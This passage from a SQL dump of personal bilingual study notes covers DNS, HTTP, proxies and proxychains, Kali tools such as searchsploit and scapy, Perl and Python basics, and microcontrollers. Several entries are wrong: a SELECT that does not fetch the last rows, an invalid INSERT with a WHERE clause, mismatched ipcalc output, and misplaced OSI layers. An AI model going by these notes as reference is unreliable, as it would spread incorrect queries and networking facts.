19:53:08'),(410,'#network #intro dns','\nLet\'s say that you type the URL www.howstuffworks.com into your browser.\nThe browser contacts a _your(ifk)_ DNS server to get the IP address of www.howstuffworks.com . \nA DNS server would start its search for an IP address by contacting one of the __root_DNS_servers__.\n	The root servers know the IP addresses of servers which handle the top-level domains (.COM, .NET, .ORG, etc.)\n	The root says, I don\'t know the IP address for www.howstuffworks.com\n	but here\'s the IP address for the .COM DNS server.\n\n_Your_name_server_ then sends a query to the .COM DNS server asking it if it knows the IP address for www.howstuffworks.com.\nThe_DNS_server for the .COM domain knows the IP addresses for the name_servers_handling_the_www.howstuffworks.com \n	::::so it returns those to ur dns_server::::: :)\nand ur dns_server would return that to ur browser\nthen ur browser can get the web which u_were asking for\n\nOnce it has made a request to a root DNS server for any .COM domain,r\n  	ur dns_server knows the IP address for a DNS server handling the .COM\n	so it doesn\'t have to bug the root DNS servers again for that information\n	::that is called caching::\n\nDNS servers handle billions of requests every day, and they are essential to the internet_s smooth functioning\n',NULL,NULL,'2015-01-20 21:37:21'),(411,'#network #introduction #internet #server#client','\nAll of the machines on the Internet are either servers or clients\nmachine which provides services for other machine are called _server_\nmachines that are used to connect to those services are clients\nThere are Web servers, e-mail servers, FTP servers\n	and so on\n\nWhen you connect to www.howstuffworks.com to read a page, you are a user sitting at a client\'s machine\n	accessing the HowStuffWorks Web server. \n	A web server is a just a computer program that listens for requests from browsers and then execute them\nClients that come to a server machine do so with a specific intent,\n	so clients direct their requests to a specific software server running on the server machine.\n	For example, if you are running a Web browser on your machine,\n		it will want to talk to the Web server on the server machine, not the e-mail server\n\nA server has a static IP address that does not change very often. \nA home machine that is dialing up through a modem,\n	on the other hand, typically has an IP address assigned by the ISP every time you dial in.\n	it may be different the next time you dial in\n	That IP address is unique for your session\n',NULL,NULL,'2015-01-20 23:12:18'),(412,'payload #definition #general','The actual information or message in transmitted data, as opposed to automatically generated metadata',NULL,NULL,'2015-01-20 23:29:25'),(413,'#network #introduction #http','\nA web server is a just a computer program that listens for requests from browsers and then execute them. \nwhen u direct ur browser to a link, the link may direct to(html_page, zip_file, pdf, ....)\n	the browser will show the document with the program it was configured to\n	The browser will display HTML documents directly\n\nhttp is a protocol in the application_layer which is used to transfer data on the web\n                                                                                \nhttp is a request-response protocol\n	For example, a Web browser initiates a request to a server,\n	typically by opening a TCP/IP connection.\n\nThe request(from the client) itself contains:\n	a request_line\n		ex:	GET /index.php HTTP/1.1\n	a __set__ of request header\n	an entity\n\nthe response (from server) contains:\n	a status line\n	a set of response headers\n	an entity\n\nthe entity can be thought as the payload which may be a binary_data\n	but the other items are ascii_characters\n\nexample: client wants to connect to site00.com\n	browser sends:\n		GET / HTTP/1.1				-- request line\n			--	GET:	so the server is supposed to return an entity\n			--	/ :		an uri,	The / indicates the root of the document system on the server\n			--	HTTP/1.1	the prot and the version\n\n		Connection: Keep-Alive\n			-- this means that the client to keep the connection after the response of the server\n		User-Agent: Mozilla/5.0 (compatible; Konqueror/2.2-11; Linux) \n			-- this is optional\n		\n		Accept: text/*, image/jpeg, image/png, image/*, */*\n		Accept-Encoding: x-gzip, gzip, identity\n		Accept-Charset: Any, utf-8, *\n		Accept-Language: en, en_US\n		Host: www.silicon-press.com\n			--\n			-- specify the type, language , and encoding\n			-- 	for the returned entity\n			--	that the browser would prefer to receive \n			--	from the server \n	Responding to the browser, the www.site00.com server sends the following response \n		HTTP/1.1 200 OK\n			-- the version of the http used\n			-- 200:	a status code\n			-- OK:	a short description of the status code\n\n		Date: Thu, 24 Jan 2002 17:33:52 GMT\n			-- ifk: this is the datetime when the server send this response\n		Server: Apache/1.3.14\n			-- ifk: information about the web_server\n		Last-Modified: Mon, 21 Jan 2002 22:08:33 GMT\n			-- dunno\n		Etag: “47bc6-25e0-3c4c9161”          ---+\n		Accept-Ranges: bytes                    |    +----------------------------+\n		Content-Length: 9696                 ---+--->|describe the entity returned|\n		Connection: close                       |    +----------------------------+\n		Content-Type: text/html              ---+\n	',NULL,NULL,'2015-01-21 00:11:57'),(414,'#network #http #types_request','\nu should understand the id_n_t: 413 \nGET                                                                          \n	which means that the client require an entity from the server\nHEAD                                                                     \n	used to get back the response header only                            \nPOST                                                                     \n	used to submit data                                                  \nPUT                                                                      \n	used for uploading resource                                          \nPATCH                   \n    Is used to modify the resource                                                 \nDELETE\n	used to delete resource                                              \nTRACE                                                                    \n	This can be used for testing the servers and Checking whether the server is alive or not\nCONNECT                                                                  \n	Convert the transparent TCP/IP tunnel                                \n	usually to facilitate SSL encrypted Communication(HTTPS) through an unencrypted HTTP proxy. \nOPTIONS\n	used to define the requests supported by the servers\n',NULL,NULL,'2015-01-21 00:31:39'),(415,'#browser #architecture #network','\nthe main components are:\n	\n             +--------------+                   +-------+\n             |user_interface+-----+             |d      |\n             +-------+------+     |             |a      |\n                     v            |             |t      |\n            +--------+------+     |             |a      |\n            |browser_engine +--->>>>>>----------+-      |\n            +---------+-----+     |             |p  i  n|\n                      v           |             |e  s  c|\n             +--------+-------+   |             |r  t  e|\n             |rendering_engine|   |             |s  a   |\n             +-+------+-------+   |             +-------+\n               v      v           +-----------------v\n      +--------+-+ +--+-------------------+   +-----+-------+\n      |networking| |javascript_interpreter|   | ui_backend  |\n      +----------+ +----------------------+   +-------------+\n\n\nThe user interface:\n	this includes the address bar, back/forward button,\n	Every part of the browser display except the window where you see the requested page\nThe browser engine:\n	marshals actions between the UI and the rendering engine\n	ifk: before a rendering is made, it has to be parsed by browser_engine\nrendering_engine:\n	 responsible for displaying requested content\n	 For example if the requested content is HTML, the rendering engine parses HTML and CSS, and displays the parsed content on the screen.\nnetworking:\n	using different implementations for different platform behind a platform-independent interface\nUI backend:\n	used for drawing basic widgets like combo boxes and windows.\nJavaScript interpreter.\n	Used to parse and execute JavaScript code\nData storage.\n	This is a persistence layer. The browser may need to save all sorts of data locally, such as cookies\n',NULL,NULL,'2015-01-21 00:54:36'),(416,'#network #proxy #introduction','\n\n\n                        <1>                       <2>\n                  +-----------------v      +----------------+\n                  ^              +--+------+---+            v\n              +---+---+          |+-----------+|          +-+----+\n              | client|          || P R O X Y ||          |server|\n              +-----+-+          ||S E R V E R||          +-+----+\n                    ^            |+-----------+|            v\n                    |            +---+------+--+            |\n                    +----------------+      ^---------------+\n                            <4>                     <3>\n\nthis is an example of web_proxy_server\n\n\n\n\n               <1>: get me sample.html       <2>: get me sample.html\n                      from xyz.com                 from xyz.com\n                  +-----------------v      +----------------+\n                  ^              +--+------+---+            v\n              +---+---+          |+-----------+|          +-+----+\n              | client|          || W  E  B   ||          |server|(xyz.com)\n              +-----+-+          ||P R O X Y  ||          +-+----+\n                    ^            |+-----------+|            v\n                    |            +---+------+--+            |\n                    +----------------+      ^---------------+\n                       <4>: i_ve fetched          <3>: sample.html\n                             sample.html                is here\n                              .take_it.\n\n\n\n',NULL,NULL,'2015-01-21 01:55:24'),(417,'#network #types#proxy','\nhttp://www.gohacking.com/what-is-proxy-server-and-how-it-works/\nthere are 3types of proxies:\n	1. Forward Proxies\n		like in id_n_t=416\n		the server has to _specify_ the resources to be fetched\n			and the server_target to connect to\n\n	2. Open Proxy - has 3 types:\n		+intro:\n			a type of forwarding proxy\n			openly available to any internet_user\n			Most often, an open proxy is used by Internet users to conceal their IP address so that they remain anonymous during their web activity\n		+Anonymous Proxy\n			a type of open proxy that conceals IP address of Internet users so that the target server cannot identify the origin of the requesting client\n			an anonymous proxy identifies itself as a proxy server\n			manages to maintain the anonymity of the users\n		+Distorting Proxy\n			This type of proxy server identifies itself as a proxy, but reveals an incorrect IP address of the client to the target server\n		+High Anonymity Proxy (Elite Proxy)\n			it neither identifies itself as a proxy nor reveals the original IP address of the client\n			In most cases, users have to pay for this type of proxy\n	3. Reverse Proxy\n		a reverse proxy appears to the client as an ordinary server.\n		However, when the client requests resources from this server, it forwards those requests to the target server\n			ifk: rev_proxy forwards the requests of the client to the target_server\n				and give the result from the target_server to the client\n		the client is given an impression that it is connecting to the actual server, but in reality there exists a reverse proxy residing between the client and the actual server\n		ex:\n			when u_re connecting to google, you are only connecting to a reverse proxy\n		this is a bit hard, then it_s not really important to understand all of the rev_proxy at the starting_time\n',NULL,NULL,'2015-01-21 02:31:59'),(418,'myip from#grc.com','41.204.119.10',NULL,NULL,'2015-01-21 02:52:29'),(419,'#network proxy_introduction #advantage','\nProxy servers can also make your Internet access work more efficiently.\n	by __caching__ sites in ur proxy_server\n',NULL,NULL,'2015-01-21 03:06:31'),(420,'#proxychains #intro','When you want two (or more) different proxies in chain\n	like: your_host <--> proxy 1 (TOR) <--> proxy 2 (HTTP or SOCKS4/5) <--> target_host\nYou may need it when the only way out from your LAN is through proxy server\nAnd you want to do that with some app like telnet\nyou can even access your home LAN from outside via reverse proxy if you set it\nUse external DNS from behind any proxy/firewall.\n',NULL,NULL,'2015-01-21 03:33:16'),(421,'#proxychains #conf','\nproxychains looks for config file in following order:\n	1) ./proxychains.conf\n	2) $(HOME)/.proxychains/proxychains.conf\n	3) /etc/proxychains.conf **\nifk: which means ./proxychains.conf can overwrite some conf in /etc/proxychains.conf\n',NULL,NULL,'2015-01-21 03:37:47'),(422,'run proxychains','$ proxychains telnet targethost.com\n  run telnet through proxy(or chained proxies)\nspecified by proxychains.conf',NULL,NULL,'2015-01-21 03:41:26'),(424,'#resolve through #proxychains','$ proxyresolv targethost.com',NULL,NULL,'2015-01-21 03:43:53'),(425,'#squid #conf','/etc/squid/squid.conf',NULL,NULL,'2015-01-21 03:48:15'),(426,'#proxy #squid#server #default_http_port','3128',NULL,NULL,'2015-01-21 04:02:03'),(427,'#definition #gateway','A node on a network that serves as an entrance to another network\nroutes the traffic from a workstation to the outside\n	that is serving web_pages\n\nsometimes, a gateway acts as a proxy_server and a firewall at the same_time\na gateway may be associated with a router\n\ngateway is an earlier term for router\n\nA computer system located on earth that switches data signals and voice signals between satellites and terrestrial networks\n',NULL,NULL,'2015-01-21 04:11:01'),(428,'#definition #mandataire#server','server_mandataire et server_proxy sont les meme ',NULL,NULL,'2015-01-21 05:24:55'),(429,'#definition #passerelle','passerelle et gateway sont les meme ',NULL,NULL,'2015-01-21 05:26:35'),(430,'#definition #dedicated_server','is a type of Internet hosting in which the client leases an entire server not shared with anyone else.',NULL,NULL,'2015-01-21 05:38:41'),(431,'#definition #management #introduction','est un ensemble de techniques d\'organisation mises en œuvre pour l\'administration d\'un système,\nmais ici, il est specialisee pour les entreprises\nrecouvre l_art de diriger les hommes\nIl est presque possible de confondre l\'économie d\'entreprise, le management et la gestion\n  la difference est dans le caractère plus appliqué',NULL,NULL,'2015-01-21 05:58:04'),(432,'#definition#synergie #management','synergie: phénomène par lequel plusieurs acteurs, facteurs ou influences agissant ensemble créent un effet plus grand que la somme des effets attendus s\'ils avaient opéré indépendamment',NULL,NULL,'2015-01-21 05:42:53'),(433,'#definition#gestion #management','gestion: science des décisions stratégiques et tactiques dans les organisations. Cette science permet de déterminer la combinaison la plus satisfaisante en termes de rendement, de productivité et de synergies des moyens matériels et de la ressource humaine dans les organisations',NULL,NULL,'2015-01-21 05:54:38'),(434,'#connaissance_gen #management','Adam Smith partage l_avis de Platon et Henri_Ford',NULL,NULL,'2015-01-21 06:00:35'),(435,'#mysql #notes_tech#query #between',NULL,'\ninsert into notes_tech where id_n_t between last_insert_id() - 10 and last_insert_id() \\G\n',NULL,'2015-01-21 09:28:58'),(436,'#gest_prj #intro','\n\n\n\n                +--------------------------------------------+-----------------------------------------------------+\n                |                                            |                                                     |\n                |                                            |                                                     |\n                |  Apprehender les structures                |                                                     |\n                |  et configuration des equipes              |              Expliquer c_est quoi un projet         |\n                |    en mode projet                          |                                                     |\n                |                                     +------+-------+                                             |\n                +-------------------------------------+-FONDAMENTAUX-+---------------------------------------------+\n                |                                     +------+-------+                                             |\n                |   Comprendre le calcul du                  |                 caractereisee les types du          |\n                |       coût global                          |               projet au sein de l_entreprise        |\n                |                                            |                                                     |\n                +--------------------------------------------+-----------------------------------------------------+\n\n\n\n\n\n\n\n\n',NULL,NULL,'2015-01-21 10:18:18'),(437,'#management#steps #intro','\nEstablish Goals\nIdentify Resources\nEstablish Goal-Related Tasks\n	Each goal should have tasks or projects associated with its achievement\nPrioritize Goals and Tasks\nCreate Assignments and Timelines\nEstablish Evaluation Methods\n	A management planning process should include a strategy for evaluating the progress toward goal completion\nIdentify Alternative Courses of Action\n	Even the best-laid plans can sometimes be thrown off track by unanticipated events. A management plan should include a _contingency_ plan if certain aspects of the master plan prove to be _unattainable_. \n\nhttp://smallbusiness.chron.com/basic-steps-management-planning-process-17646.html\n',NULL,NULL,'2015-01-21 10:26:25'),(438,'#management#steps #intro','\nfive stages for the Strategic Management Process:\n	goal-setting,\n	analysis,\n	strategy formation,\n	strategy implementation and\n	strategy monitoring\n\nhttp://smallbusiness.chron.com/five-stages-strategic-management-process-18785.html\n',NULL,NULL,'2015-01-21 10:31:49'),(439,'#internet #architecture #network','\n\n          webcam-------+    speaker\n                       |       |\n                       |       |      micro\n                       |       |        |\n      encryption       v       v        |\n         |         +----------------+   |\n         |         |                | <-+\n         +-------> |                |\n                   +----------------+\n                                    \n                     \\________________\n                            | |\n                            | |\n            @HOME           | |          @CORPORATION\n                            | |\n     +------+               | |\n     |modem +---------------+ +---------------+\n     +------+                                 |\n       O R                                    v\n     +------+                           +-----------+\n     |custom|                           | netw_card |\n     | card |                           +-----+-----+\n     +---+--+                                 |\n         |                                    v\n         |                              +-------+\n         |                   +--+-----> | L A N |<------+--+\n         |                   +--+       +-------+       +--+\n         |                   \\___          |           \\___\n         |                                  |\n         |                                  +----------+-------------+         +--------+\n         |                                  |          |user_service |         |        |\n         |                                  |          +-------------+<------->+--------+\n         |                                  |          |  dns, mail  |                  \n         |                                  |          |    etc...   |          \\_________\n         |                                  |          +-------------+\n         |                                  +-----+------------+\n         |                                  |     |  firewall  |\n         |                                  |     +------------+\n         +---------------+------------------+\n                         |\n                         |\n        +-------------+--+-----+---------------+--------+\n        |             |        |       +-------+------+ |\n        |             |        |       |electric_power| |\n   +----+------+    +-+-----+  |       |    lines     | |\n   |POTS - DSL | +--+ Cable |  |       +------+-------+ |\n   |leased_line| |  +-------+  |              |         |\n   +-----+-----+ |             |              |  +------+----------+\n         |       |  +----------+----------+   |  | w i r e l e s s |\n         |       |  |  S A T E L L I T E  |   |  +------+----------+\n         |       |  +----------+----------+   |         |  \n         v       v             v              v         v \n         +-------+-------------+--------------+---------+-\n		                       |\n							   |   \n							   |   \n							   |   \n			+---------------------------------------+\n			|   	       ISP_s POP                |\n			+---------------------------------------+\n			|   				                    |\n			|   				                    |\n			+------+--------------------------------+\n				   |    +---------+             +--\n                   |    | +---------+           |  +-----------+\n                   +----+-+  srvr:) |           |  |  D N S    |\n                   |     +---------+-<------->-+  +-----------+\n			       |     \\ ~~____~~           |  |  usenet   |\n				   |	  -----------         |  +-----------+\n				   |	   ------------         |  |   mail    |\n				   |			                |  +-----------+\n				   |			                |  |  .......  |\n				   |			                |  +-----------+\n                   |                            +--                   |\n                   +---------------------+                            |\n                                +-+------+----+-+\n                                |r|           |r|\n                     +----------+++           +-+--+\n                   +-+           | #######         +-----+-+\n              +----+r|           +-#+---+#         |     |r+------large_capacity_of\n              |    +++             #|nap|#         +-+   +++      router_or_switch\n              |     +--+           #+---+#         |r|    |\n              |        |       +-+ #######+-+------+-+    |\n              |        |                 +-+              |\n              |        +----+------------+r+---------+----+------large_capacity_of\n              |             |            +-+         |               circuits\n              |             +-----private_peering----+\n              |      \n              +-------------+\n                   +--------+---------+\n                   |+-------+--------+|\n                   ||hosting_platform||(web_server_platform)\n                   |+----------------+|\n                   +------------------+\n',NULL,NULL,'2015-01-21 17:04:37'),(440,'#tcp_ip#example','\n                                                                                                 +-------------------+\n                                                      _____                                      |+-----------------+|\n                                                     |                                         ||VerestarSatellite||\n                                                     | +----+                                    |+-----------------+|\n                                                     | |____|                                    +-------------------+\n                                                     | |____|  \n                                                     | |    |                   +---------+\n                                                     | |    |                   |IDN-VSAT |\n                             _____                   | |____|                   |  Dish   |          +-----------------+\n                            |                       +----+                   +---------+          |+---------------+|\n                            | +----+                                                                 ||InterpacketDish||\n                            | |____|                  _____    _____                                 |+---------------+|\n              +----+        | |____|                 |      |                                    +-------------+---+\n              |    |        | |    |                 | +----+ | +----+                                             |\n              +----+        | |    |                 | |____| | |____|                                             |\n              \\_____       | |____|                 | |____| | |____|                                             |\n                             +----+                 | |    | | |    |                                             |\n                                                     | |    | | |    |                       _____                 |\n                                                     | |____| | |____|                      |                    |\n                                                      +----+  +----+                      | +----+               v\n                                                                                            | |____|             Internet\n                                                                                            | |____|<----------16hops, all US\n                                                                                            | |    |           MSN, level3 and\n                                                                         Internet           | |    |              Verestar\n                                                                       14hops, all US <-----| |____|  \n                                                                       via Vero and          +----+  \n                                                                           MSN\n                                                                          |\n                                                 _____                    |\n                        internet                |                       |\n     +----------------19hops, all US            | +----+ <----------------+\n     |                via Quest and   <---------| |____| \n     |                  Verio                   | |____| \n     |                                          | |    |geekcorps.org        DNS lookup\n     |                                          | |    |                       process\n     |                                          | |____|                          |\n     v                                           +----+     _____     +----------+\n  _____                internet                             |    ----+\n |                24hops, through              +----------+-+----+             _____\n | +----+           US, UK, China             ___|_         | |____|            |       \n | |____|                       |            |            | |____|            | +----+  \n | |____|           ^           |            | +----+       | |    |            | |____|        +---+\n | |    +-----------+           +----------> | |____|       | |    |            | |____|<------>+---+\n | |    |                                    | |____|       | |____|      +-----+ |    |        \\____\n | |____|                                    | |    |        +----+      |     | |    |  \n  +----+                                    | |    |        +------------+----+| |____|  \n  mail.harvard.edu                           | |____+--------+modem_connection | +----+  \n                                              +----+        |  to_magicnet    |\n                                                             +-----------------+\n\n',NULL,NULL,'2015-01-21 18:25:03'),(441,'#mysql #last#lines #select #limit','to select the last 10 rows in table00\nselect * from table00 where col00 like \'very_common_pattern\' limit 10;',NULL,NULL,'2015-01-22 13:59:04'),(442,'#network #osi#model #layer #protocol #long-list','\nhttp://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29\n\nOSI_model and the protocols in each layer\n==============================================================================\n==============================================================================\n\nLayer 1 protocols 				(physical Layer)\n	Ethernet physical layer Including\n		10BASE-T, 10BASE2, 10BASE5, 100BASE-TX, 100BASE-FX, 100BASE-T, 1000BASE-T, 1000BASE-SX and other varieties\n	GSM Um air interface physical layer\n	Bluetooth physical layer\n	SONET/SDH\n	IEEE 1394 interface\n	...(check the link)\n	...l1\n\nLayer 2 protocols 				(Data Link Layer)\n	cdp\n	dcap\n	ethernet\n	fddi\n	frame_relay\n	IEEE 802.11 WiFi\n	IEEE 802.16 WiMAX\n	ppp\n	pptp\n	stp\n	vtp\n	vlan\n	token_ring\n	multilink trunking protocol :: mltp\n	Split multi-link trunking Protocol\n	...l2\n\nLayer +3 protocols\n	arp\n	rarp\n	atm\n	frame_relay\n	is-is\n	mpls\n	spb\n	x.25\n	mtp\n	nsp\n	...l+3\n\nLayer 3 protocols 				(Network Layer)\n	egp\n	eigrp\n	igmp\n	igrp\n	ipv4\n	ipv6\n	ipsec\n	ipx\n	Routed-SMLT\n	ospf\n	bgp\n	...l3a\n\nLayer 3.5 protocols\n	hip\n	...l3.5\n\nLayer 3+4 protocol suites\n	tcp/ip\n	ipx/spx\n	Internet Protocol Suite\n	Xerox Network Systems\n	...l3+4\n\nLayer 4 protocols 				(Transport Layer)>\n	tcp\n	udp\n	AH\n	ih\n	sctp\n	spx\n	rtp\n	...l4\n\nLayer 5 protocols 				(Session Layer)\n	SOCKS \n	nfs\n	ncp\n	netbios\n	smb\n	...l5\n\nLayer 6 protocols 				(Presentation Layer)\n	tls\n	mp3\n	mpeg\n	jpeg\n	...l6\n\nLayer 7 protocols 				(Application Layer)\n	bittorrent\n	bgp\n	bootp\n	dns\n	dicom\n	dhcp\n	http\n	https\n	imap\n	irc\n	isup\n	ldap\n	mime\n	msnp\n	map\n	mosh\n	ntp\n	nntp\n	ntcip\n	pop3\n	radius\n	rdp\n	rlogin\n	rsync\n	rtp\n	rtsp\n	ssh\n	sip\n	smtp\n	snmp\n	soap\n	smb\n	stun\n	tup\n	telnet\n	tftp\n	webdav\n	xmpp\n	...l7\n\n',NULL,NULL,'2015-02-03 03:52:27'),(443,'#python #display#var #print',NULL,NULL,'\nstr00=\'val_str00\'\nprint (str00)\n	just to tell you that in python, it very easy\n		not like in bash(echo \"$var00\")\n','2015-01-22 21:01:57'),(444,'#python #intro#var',NULL,NULL,'\nen python les variables ne sont pas typees\n	var00=5\n		var00 will be an integer immediately\n	var00=\'val_str00\'\n		var00 is a string automatically\n','2015-01-22 21:04:06'),(445,'#python #var#string#text',NULL,NULL,'\nle texte suivant sera affichee telle quelle est:\n	var00=\"\"\"\nceci est considere comme un texte\ndonc l_affichage de ceci sera comme ceci\n	\"\"\"\n\nqlq chose n_existe pas:\n	var00=\' one line\n	another line\n	\'\n','2015-01-22 21:07:41'),(447,'#python #affectation #plusieurs#variables',NULL,NULL,'\na = b = 5\n','2015-01-22 21:12:59'),(450,'#check #perl#version','perl -v # cmd_linux',NULL,NULL,'2015-01-22 21:24:06'),(449,'#python #type#variables',NULL,NULL,'\n a = 3\n type(a)\n out:\n 	<class \'int\'>\n\n type(3.4)\n out:\n 	<class \'float\'>\n','2015-01-22 21:15:46'),(451,'#perl #introduction #cmd#linux',NULL,NULL,'\nto run perl from shell of linux\n	perl -w -e \'print(\"hello\");\'\n','2015-01-22 21:32:16'),(452,'#perl #introduction #running',NULL,NULL,'\nedit: perl00.pl\n	add:\n	#!/usr/bin/perl -w	# u get this from: type perl in linux_cmd\n	print(\"this is a test\");\n\nsave it and:\n	chmod +x perl00.pl\n	./perl00.pl\n','2015-01-22 21:51:26'),(453,'#perl #variable#type #introduction #tableau #hachage',NULL,NULL,'\nles variables en perl sont _faiblement_ typee\n	nombres, string, booleens seront consideres comme:: SCALAIRE\n	var type_TABLEAUX: 	var permettant de stocker _plusieurs_ _scalaires_ en les _indiçant_\n	var type_HACHAGE:	var avec cles_valeurs\n		tous les clefs sont uniques\n		precedee de %\n		ex:\n			$var00{key00}\n','2015-01-22 22:01:33'),(454,'#perl #variable#declaration',NULL,NULL,'\nmy $x;\nmy $y = 10;\nmy $z = \"hello\";\n\n$x = $y + 3;\n$prenom = \"Jules\";\n$phrase = \"Bonjour $prenom\";\nprint(\"$phrase\n\");\nprint(\"$x\");\n=============================================\nout:\n	Bonjour Jules\n	13\n','2015-01-22 22:17:56'),(455,'#perl #undef  last#index',NULL,NULL,'\n$var00[0]=0;        --+\n$var00[1]=\"one\";      |   \n$var00[2]=2;          +--so, var00[4] till var00[8] have the value \"undef\"\n$var00[3]=3;          |			which means nothing at all\n$var00[9]=\"nine\";   --+    \n\nto get the last_index of var00\n	$int00=$#var00;\n		int00=9\n	but the number of elts are 10\n','2015-01-22 22:36:39'),(456,'#tool #linux#kali #introduction #ipcalc #wildcard',NULL,NULL,'\nIPcalc est une simple calculatrice IP\npermet de calculer rapidement des petit schéma d\'IP réseau masque etc\n\nsite_officielle\n	http://jodies.de/ipcalc\n\ninstallation:\n	apt-get install ipcalc\n\nutilisation:\n	ipcalc 192.168.1.0/24\nout:\n	Address:   192.168.0.1           11000000.10101000.00000000 .00000001\n	Netmask:   255.255.255.0 = 24    11111111.11111111.11111111 .00000000\n	Wildcard:  0.0.0.255             00000000.00000000.00000000 .11111111\n	=>\n	Network:   192.168.0.0/24        11000000.10101000.00000000 .00000000 (Class C)\n	Broadcast: 192.168.0.255         11000000.10101000.00000000 .11111111\n	HostMin:   192.168.0.1           11000000.10101000.00000000 .00000001\n	HostMax:   192.168.0.254         11000000.10101000.00000000 .11111110\n	Hosts/Net: 254                   (Private Internet)\n\n\nThe wildcard is the inverse netmask as used for access control lists in Cisco routers.\n','2015-01-24 14:54:22'),(457,'#tool #kali #searchsploit #introduction',NULL,NULL,'\nSearchsploit est un script shell qui permet de rechercher dans la base de donnée de exploitdb via un fichier csv mis à jour régulièrement\n\ninstallation:\n	apt-get install exploitdb\n\nusage:\n	syntaxe:\n		searchsploit exploit_name00 sys00 severite_de_d_exploit\n	ex:\n		searchsploit adobe windows local\n\ntu vas avoir des fichiers \n	ex: /windows/local/5479.txt\net cherche le fichier avec:\n	locate /windows/local/5479.txt\n\net lit \n:)\n','2015-01-24 15:09:56'),(458,'#tool #kali #hacking #scapy #intro',NULL,NULL,'\nScapy is a packet manipulation tool than can craft, send, capture and sniff network datagrams (segments, packets and frames)\n\nfor more tutorial:\n	http://ittsm.blogspot.com/2013/06/about-scapy.html\n','2015-01-24 15:21:01'),(461,'#irssi -identify_on#irc',NULL,NULL,'/msg nickserv identify pseudo00 pass00','2015-02-22 11:03:26'),(462,'#irssi -private_msg-pm#irc',NULL,NULL,'/query nick00','2015-02-22 11:03:26'),(463,'#irssi -change-nickname_on#irc',NULL,NULL,'/nick newnick','2015-02-22 11:03:26'),(460,'#tool #kali #hacking #ua-tester #intro',NULL,NULL,'\nconçu pour tester automatiquement une URL donnée en utilisant une liste de la norme standard et non standard d\'user agent fourni par l\'utilisateur (1 par ligne).\nLes résultats de ces contrôles sont ensuite rapportés à l\'utilisateur pour une analyse plus poussée manuelle où automatisée\n\nhttp://www.coyotus.com/viewtopic.php?id=459\n http://blog.c22.cc/toolsscripts/ua-tester/\n','2015-01-24 15:27:47'),(464,'#tcp_ip #models #network #protocols',NULL,NULL,'\nhttp://en.wikipedia.org/wiki/Category:Application_layer_protocols\n	and for more information check in up-right\n-----------------------------------------------------------------\n\nlayers of tcp_ip are:\n	application\n	transport\n	network\n	physic\n\n===============================================================\nthose are some protocols which are in each layer:\n===============================================================\n\napplication\n\n	Secure Shell\n	Client–server model\n	Hypertext Transfer Protocol\n	Inter-Asterisk eXchange\n	Internet Message Access Protocol\n	Internet Relay Chat\n	Ad Hoc Configuration Protocol\n	Bitcoin\n	Lightweight Directory Access Protocol\n	List of web service protocols\n	Mail Transfer Protocol\n	MIME\n	Dynamic Host Configuration Protocol\n	DHCP snooping\n	DHCPv6\n	Domain Name System\n	Network File System\n	Echo Protocol\n	XMPP\n	Gnutella\n	RADIUS\n	HTTP/2\n	Real Time Streaming Protocol\n	XML\n	WebSocket\n	Telnet\n	SOAP\n	Simple Network Management Protocol\n	Simple Mail Transfer Protocol\n	Voice over IP\n	Unix Internet software\n	Protocols related to Internet Relay Chat\n\n\ntransport\n	Error detection and correction\n		has many chapters inside of this section\n	Flow control (data)\n	Network socket\n	Transmission Control Protocol\n	network congestion\n	pptp\n	udp\n\ninternet\n	ipsec\n	Gateway-to-Gateway Protocol\n	ip\n	ipv4\n	ipv6\n	icmpv6\n	igmp\n	Locator/Identifier Separation Protocol\n\nphysic\n	IEEE 802\n	Logical link control\n	Ethernet\n	AX.25\n	ptp\n	rarp\n	Radio Link Protocol\n	R-SMLT\n	Multi-link trunking\n	Fiber Distributed Data Interface	(fddi)\n	ospf\n	Virtual Link Trunking\n\n\n','2015-01-30 23:42:11'),(469,'#5 #microcontroller -intro','\n\nau coeur se trouve l UniteeAritmetik_etLogik (srch(ual, microc)@notes_tech)\n\nsuite id_n_t=471',NULL,NULL,'2015-02-22 11:03:26'),(470,'#5 #microc -accumulateur','\naccumulateur: alimente ual en inserant 1er operande\n	qd resultat fournit par ual, resultat stocker dans accumulateur\n',NULL,NULL,'2015-02-22 11:03:26'),(471,'#5 #microc -ual -intro','\nual: bloque qui realise les operations que microc doit effectuee\n\npossede 2entrees, qui recoivent les var de depart ou operande, (ifk: les 2entrees sont pour des operande, ou 2em operandes est pour le bus des donnees)\nsur la sortie est le resultat de l_operation arithmetik\n\nual met en oeuvre un registre_privilegiee = accumulateur, srch(accumulateur, microc)@notes_tech\n	qui alimente le ual puis ual fournit resultat\n	resultat va etre stocker dans accumulateur\n\ndans ual, il y a sequenceur(srch@notes_tech)\n',NULL,NULL,'2015-02-22 11:03:26'),(472,'#5 #microc -sequenceur','\ntout operations eltr dans ual sont mis en oeuvre par des sequenceurs\nsequenceur:\n	cherche des instructions dans une memo_ext pour les decomposer en\n		gp d_action eltr\n\nle schema suivant est le fonctionnement d_un sequenceur\n\n\n               +------------------------------------------------------------------------+\n               |                                                                        |\n         >>>>>>>>>>>>>+-----------+         -+--------+           +-------+             |\n         >>bus_donnee>|registres  >>>>>>>>>> |poids   |           |       |             |\n               |      |d_instruct >>>>>>>>>> | forts  |           |memo   |             |\n               |      +-----------+          |        |           |ROM    |             |\n               |                             |        |           |       |             |\n               |                             |decodeur|>>>>>>>>>  |micro  |             |\n               |                             |d_@     |>>>>>>>>>  | code  |             |\n               |   +-------+  +--------+     |        |           |       |             |\n               |   |horloge+>>|compteur|>>>>>>poids   |           |       |             |\n               |   +-------+  +--------+     | faibles|           +-+++++++             |\n               |                             +--------+             ||||||              |\n               |                                                    ||||||              |\n               |                                                    ||||||              |\n               |                                                    ||||||              |\n               +----------------------------------------------------||||||--------------+\n                                                                    ||||||\n                                                                    ||||||\n                                                                    |||||+---------------> sg vers cmd\n                                                                    ||||+---------------->  vers ual\n                                                                    |||+----------------->  reg, exterieur\n                                                                    ||+------------------> \n                                                                    |+-------------------> \n                                                                    +--------------------> \n\n\n\n',NULL,NULL,'2015-02-22 11:03:26'),(468,'#5 #microcontroller -intro','\nci logique \nfournit des signaux necessaire a la realisation d_une tache donne\non lui donne ces sg sous forme d_instruction qui lui est comprehensible\n',NULL,NULL,'2015-02-22 11:03:26'),(467,'#network -some_model',NULL,NULL,'\nSystems Network Architecture (SNA-IBM), AppleTalk, Novell Net-ware (IPX/SPX), \n	and the Open System Interconnection (OSI)\nthe most used is:   TCP_IP\n','2015-02-02 17:38:05'),(473,'#microc #5 -definition -sequenceur','\nsequenceur:\n	